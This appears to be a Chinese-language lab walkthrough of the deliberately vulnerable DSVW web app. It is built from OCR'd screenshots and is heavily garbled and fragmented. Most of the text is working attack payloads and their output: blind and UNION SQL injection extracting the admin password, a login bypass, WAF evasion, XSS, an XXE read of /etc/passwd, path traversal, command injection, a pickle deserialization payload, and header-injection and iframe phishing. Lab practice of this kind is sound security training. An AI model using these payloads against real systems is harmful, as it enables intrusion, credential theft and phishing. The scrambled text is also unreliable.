## 192.168.109.131/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'), 1, 1)='7 < > → C @ **加斯建文件**类 Result(s): 2 dricci dian ricci ?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='8' (←) → ℃ ŵ 192.168.109.131/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='8' **一新建文件央** Result(s): id usernane nane surnane ?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!' 所有admin的密码是7en8aiDoh! Blind SQL Injection (time) 语句错误就不会沉睡 ?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='1111111111') THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END)) Damn Small Vulnerable Web (DI X ← → C @ D 🔏 192.168.109.131/7id=1 and (SELECT (CASE WHEN (SUBSTR)((SELECT password FROM users WHERE name='a- 額 **新建文件夹** Result(s): id uternane nane turnane 语句正确就会沉睡几秒 ?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),1,10)='7en8aiDoh!') THEN (LIKE('ABCDEFG', UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END)) Damn Small Vulnerable Web X + Result(s): id uceraane nane curnane **UNION SQL Injection** 联合注入语句 ?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT username||','||password FROM users WHERE username='dricci') D 🔏 192.168.109.131/?id=2 UNION ALL SELECT NULL, NULL, (SELECT username||;"||password FROM users \ 談 … ☆ **回新建文件**类 Result(z): id username name surname **Login Bypass** 利用or 1=1绕过登录 login?username=admin&password='or '1' like '1 ← > C @ 192.168.109.131/login?username=admin&password='or '1' like '1 **新建文件央** Velcome admin **HTTP Parameter Pollution** 参数污染就是重复断断续续的注释让waf以为这是注释从而绕过waf login?username=admin&password='/\*\*/or/\*\*/'1'/\*\*/like/\*\*/'1 ← ) → C @ 192.168.109.131/login?username=admin&password='/\*\*/or/\*\*/1'/\*\*/like/\*=\*/1 Velcone admin **Cross Site Scripting (reflected)** 直接在后面接上xss语句即可 <script>alert(/xss/)</script> 192.168.109.131/?v=0.2<script>alert(/xss/)</script> /xss/ 确定

Attacks:

Attacks:

← > C @

**新建文件夹** 

Blind SQL Injection (boolean) - vulnerable|exploit|info
 Blind SQL Injection (time) - vulnerable|exploit|info

Cross Site Scripting (reflected) - vulnerable|exploit|info
 Cross Site Scripting (stored) - vulnerable|exploit|info
 Cross Site Scripting (DOM) - vulnerable|exploit|info
 Cross Site Scripting (JSONP) - vulnerable|exploit|info
 XML External Entity (local) - vulnerable|exploit|info
 XML External Entity (remote) - vulnerable|exploit|info
 Server Side Request Forgery - vulnerable|exploit|info

Blind XPath Injection (boolean) - vulnerable|exploit|info

Frame Injection (content spoofing) - vulnerable|exploit|info

Cross Site Request Forgery - vulnerable|exploit|info
 Frame Injection (phishing) - vulnerable|exploit|info

Unvalidated Redirect - vulnerable|exploit|info
 Arbitrary Code Execution - vulnerable|exploit|info

Full Path Disclosure - vulnerable|exploit|info
 Source Code Disclosure - vulnerable|exploit|info

File Inclusion (remote) - vulnerable|exploit|info

Denial of Service (memory) - vulnerable|exploit|info

Blind SQL Injection (boolean) - vulnerable exploit info
 Blind SQL Injection (time) Innerable exploit info

192.168.109.131/?id=1'

cursor.execute("SELECT id, username, name, surname FROM users VHERE id=" + params["id"])

?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'

UNION SQL Injection - vmlerable exploit info

• HTTP Parameter Pollution - vulnerable exploit info

Login Bypass - vulnerable exploit info

可以看到我们的ID是没有被单引号包裹的

Traceback (most recent call last): File "dsvw.py", line 30, in do\_GET

OperationalError: unrecognized token: "1 '"

是布尔型注入,正确有回显,错误没有回显

Cross Site Scripting (stored)

please leave a comment

<script>alert(/xss/)</script>

确定

Cross Site Scripting (DOM)

XML External Entity (*local*)

用xml语句来查看etc目录下的passwd文件

XML External Entity (remote)

加上我们的xss代码,刷新一下即可

 $\rightarrow$   $\times$   $\hat{\omega}$ 

id connent time

← > × ŵ

**新建文件央** 

← → C @

一样的语句

→ G

**新建文件夹** 

■ 新建文件夹

← ) → C' \( \overline{\pi}\)

■ 新建文件夹 Surnane: admin

(+) → ℃ ⊕

consent

2 I quit the job

I quit the job

I guit the job".

□新建文母泉 Connent(s):

F建文件类

和上一关同理

**Unvalidated Redirect** 

在redir处加上url即可跳转到百度页面

**Arbitrary Code Execution** 

直接用分隔符隔开, 然后接上直接的语句

/bin/sh: 1: nslookup: not found

**Full Path Disclosure** 

2 192.168.109.131/?path=http://192.168.109.131

cStringIO, httplib, json, os, pickle, random, re, socket, SocketServer, sqlite

1 'python-1xml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % (

R, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "O.

"<!DOCTYPE html>\n<html>\n<head>\n<style>a {font-weight: bold; text-decoration

2 192.168.109.131/?path=../../../../etc/passwd

192.168.109.131/?include=dsvw.py

直接给处http路径即可

and a rate of

给出路即可阅历文件

i/1xm1")

(FREE)"

= "0.0.0.0", 65412

**Path Traversal** 

?path=../../../etc/passwd

usr/sbin:/usr/sbin/nologin

sr/games:/usr/sbin/nologin ache/man:/usr/sbin/nologin l/lpd:/usr/sbin/nologin

File Inclusion (*remote*)

oolean) - vulnerable|exploit|info
ime) - vulnerable|exploit|info

reflected) - vulnerable|exploit|info stored) - vulnerable|exploit|info DOM) - vulnerable|exploit|info JSONP) - vulnerable|exploit|info emote) - vulnerable|exploit|info rgery - vulnerable|exploit|info (boolean) - vulnerable|exploit|info gery - vulnerable|exploit|info ing) - vulnerable|exploit|info

nt spoofing) - vulnerable exploit linfo

Login

• Blind SQL Injection (boolean) - vulnerable exploit info
• Blind SQL Injection (time) - vulnerable exploit info
• UNION SQL Injection - vulnerable exploit info
• Login Bypass - vulnerable exploit info
• MITT Parameter Pollution - vulnerable

更多

执行了ping 127.0.0.1的命令

Denial of Service (memory)

Time required (to 'resize image' to 32x32): 0.000034 seconds

?size=99999, 会发现一直在刷新

Damn Small Vulnerable Web X

192.168.109.131/?object=co X

**一新建文件夹** 

HTTP Header Injection (phishing)

我们可以构造登录表格来诱导用户输出从而获取账号密码

当用户输入数据的时候会弹框然后跳转到我们指定的页面

→ https://www.baidu.com/?username=as&password=as

Component with Known Vulnerability (pickle)

192.168.109.131/?object=cos%0Asystem%0A(S'ping -c 5 127.0.0.1'%0AtR.%0A

拒绝服务攻击通过大量的恶意请求来访问有缺陷的服务,从而让cup爆满。从而让用户无法正常操作

Q 192.168.109.131/?size=99999

?object=cos%0Asystem%0A(S'ping -c 5 127.0.0.1'%0AtR.%0A

?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A<!DOCTYPE html><html><head><title>Logi

hello

确定

vulnerable exploit info

on - vulnerable exploit info

able exploit info

代码块

**新建文件夹** 

Unermane

Password

Attacks:

路径是可以越级的

:/bin/bash

sr/sbin/nologin sr/sbin/nologin oin:/bin/sync

允许用户包含文件

**Source Code Disclosure** 

192.168.109.131/?path=dsvw.py

ifconfig | whoami

root

Attacks:

<reet>reet:x:0:0:reet:/reet:/bin/bash

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mai1:x:8:8:mai1:/var/mai1:/usr/sbin/nologin

<root>root:x:0:0:root:/root:/bin/bash

bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

?path=http://192.168.109.131

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

games:x:5:60:games:/usr/games:/usr/sbin/nologin

Server Side Request Forgery

Blind SQL Injection (boolean) - vulnerable|exploit|info
 Blind SQL Injection (time) - vulnerable|exploit|info
 UNION SQL Injection - vulnerable|exploit|info
 Login Bypass - vulnerable|exploit|info

• Cross Site Scripting (reflected) - vulnerable|exploit|info • Cross Site Scripting (stored) - vulnerable|exploit|info • Cross Site Scripting (2000) - vulnerable|exploit|info

Blind XPath Injection (boolean)

?name=admin' and substring(password/text(),1,10)='7en8aiDoh!

我们使用<img>标签来自动发布了一个红色字体的I quit the job评论

HTTP Parameter Pollution - vulnerable exploit info

**Cross Site Request Forgery** 

tine Fed May 6 09:07:43 202

Fed May 6 03:37:04 200

Fed May 6 08:38:27 202 Fed May 6 08:39:08 202

Fed May 6 00:39:12 20:

Fed May 6 00:39:40 200

用Frame标签来进行钓鱼

Frame Injection (phishing)

Frame Injection (content spoofing)

Q 192.168.109.131/?redir=https://www.baidu.com

**一新建文件央** 

一新建文件央 onnent(s):

也是提交xss即可,因为是存储在数据库里面的,所有每次刷新都会弹框

取消

192.168.109.131/?#lang=en<script>alert(/xss/)</script>

/xss/

/xss/

?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

192.168.109.131/?xml=<!DOCTYPE example [<!ENTITY xxe SYS</p>

**192.168.109.131**/?path=http://192.168.109.131

■ 192.168.109.131/?name=admin' and substring(password/text(),1,10)='7en8aiDoh!

Q, 192.168.109.131/?comment=<img src="/?comment=<div style="color:red; font-weight; bold">| quit the job</div>">

192.168.109.131/?domain=ifconfig | whoami

?comment=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">

<iframe src="https://www.baidu.com" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;bo</pre>

确定

?xml=<!DOCTYPE example [<!ENTITY xxe SYSTEM "file%3A%2F%2F%2Fetc%2Fpasswd">]><root>%26xxe%3B<%2Froot>

确定

Market 192.168.109.131/?comment=

HTTP Header Injection (phishing) - vulnerable exploit info

Component with Known Vulnerability (pickle) - vulnerable|exploit|info

Path Traversal - vulnerable|exploit|info

Blind SQL Injection (boolean)

UNION SQL Injection - vulnerable|exploit|info

HTTP Parameter Pollution - vulnerable|exploit|info

Login Bypass - vulnerable|exploit|info

Clickjacking - -|exploit|info